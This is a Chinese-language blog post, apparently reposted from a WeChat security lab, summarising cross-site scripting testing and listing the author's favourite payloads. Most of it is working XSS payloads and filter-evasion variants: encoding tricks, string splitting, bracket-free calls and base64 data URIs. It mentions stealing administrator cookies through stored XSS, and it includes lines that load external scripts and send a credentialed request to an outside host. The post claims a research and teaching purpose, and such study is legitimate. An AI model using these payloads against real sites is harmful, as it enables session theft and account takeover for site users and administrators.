基础
原理
类型
危害
修复方案
出现的位置
不输出在前端也有可能有xss,例如留言功能,可直接盗取管理员cookie
富文本编辑器:常见的位置就公告、活动、邮件处
上传:对于一些可以上传pdf、html、svg、gif文件的地方也有可能存在xss
不止文件内容,如果一个地方引用了某个文件的名字类似于这种,只要输出在前端的并且我们可控都可以去尝试尝试(很早之前遇到过,暂时没有截图)
测试思路
href,lowsrc,bgsound,background,action,dynsrc这些属性支持伪协议
文本编辑器中的xss
有过滤的存储型xss
先打个双引号进去
输出也没做处理
再构造一下payload
最终payload为
"u003cinput/onfocus=_=confirm,_(123)u003e
成功解析
成功弹窗
字符替换
单引号和双引号替换反引号等等
alert替换为confirm、prompt、console.log、document.write
空格替换为换行符、/**/、/ 加一些%0a%0d
*/alert/*
括号被过滤
<img src=1 onerror="window.onerror=eval;throw'=alertx281x29';">
根据服务器特性进行双写大小写编码之类的
还可以引入外部的js地址
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'
各种编码
浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码
<img src=x onerror = javascript:alert(111)>
<a href=javascript:alert(1)>Click</a>
<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
<为u003c >为u003e(这里并不能直接替换标签中的尖括号,需要服务器先解析才可以)
<还可以为x3c >为x3e
<input onfocus=u0061u006Cu0065u0072u0074(1) autofocus>
<a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>
<iframe src=javascript:alert(1)>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/XSS/)></script>
函数
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) 返回UTF-16组成的字符串 解码后为alert(1)
atob('YWxlcnQoMSk=') atob函数为解码base64字符串 解码后为alert(1)
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
base64编码
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a
加入特殊字符混淆(和编码结合)
<img src="javascript:alert(/xss/);">
<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
<a href=javascript:eval("alert(111);var x=new XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var d=x.responseText;alert(d);")>99999999</a>
<a href=ja
vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
<iframe src=javasc
ript:alert(1)></iframe>
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<img src="x" onerror="frames[`al`+`ert`](1)">
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
payload平台:https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
比较杂的:https://www.ddosi.org/xss-bypass/#%E6%B2%A1%E6%9C%89%E8%BF%87%E6%BB%A4%E5%99%A8%E8%A7%84%E9%81%BF%E7%9A%84%E5%9F%BA%E6%9C%AC_XSS_%E6%B5%8B%E8%AF%95
<a
<img
<svg
<iframe
<input
<body
<META
<form
也可以自己构造html标签
alert1变异
(alert)(1)
a=alert,a(1)
alert(String.fromCharCode(49))
[1].find(alert)
window['al'+'ert'](/xss/)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
aleru0074(String.fru006fmCharCu006fde(49))
alu0065rt(1)
top['al145rt'](1)
top[8680439..toString(30)](1)
eval(atob('YWxlcnQoMSk='))
"top['ale'+'rt'].call(null,'xss')"
alert(2)
top['alx65rt'](1)
[43804..toString(36)].some(confirm)
window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")
个人常用payload
<img src=x onerror=alert(1)>
<img src="x" onerror="window['al'+'ert'](1)">
<svg onload=alert(1)>
<form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button>
<a href=javascript:[1].find(alert)>xss</a>
<img src=x onerror = javascript:alert(111)>
<iframe src=javascript:[1].find(alert)></iframe>
<xmp onmousemove="alert(1)">test</xmp>
<form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button>
<x onmouseover="top['ale'+'rt'].call(null,'xss')">test
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<input/onfocus=_=alert,_(123)>
<input onfocus=u0061u006Cu0065u0072u0074(1) autofocus>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
<svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')>
<details open ontoggle=[43804..toString(36)].some(confirm)>
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<table><caption onclick=aleru0074(String.fru006fmCharCu006fde(49))>Click me
原文始发于微信公众号(秘地安全实验室):xss测试利用总结(附个人常用payload)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论